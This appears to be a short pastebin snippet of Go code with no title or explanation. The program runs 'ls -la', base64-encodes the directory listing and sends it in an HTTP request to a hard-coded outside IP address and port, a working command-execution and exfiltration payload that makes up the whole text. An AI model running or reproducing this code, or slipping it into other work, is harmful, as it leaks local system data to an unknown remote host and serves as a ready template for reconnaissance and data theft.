Untitled
unknown
golang
3 years ago
621 B
5
Indexable
package main import ( "bytes" "encoding/base64" "io" "log" "net/http" "os" ) func main() { buffer := new(bytes.Buffer) stdout, stdin, _ := os.Pipe() attr := &os.ProcAttr{Env: os.Environ(), Files: []*os.File{nil, stdin, nil}} _, err := os.StartProcess("/bin/ls", []string{"ls", "-la"}, attr) if err != nil { log.Fatal(err) } if err := stdin.Close(); err != nil { log.Fatal(err) } if _, err := io.Copy(buffer, stdout); err != nil { log.Fatal(err) } result := base64.StdEncoding.EncodeToString(buffer.Bytes()) http.Get("http://121.196.154.246:53418/?" + result) }
Editor is loading...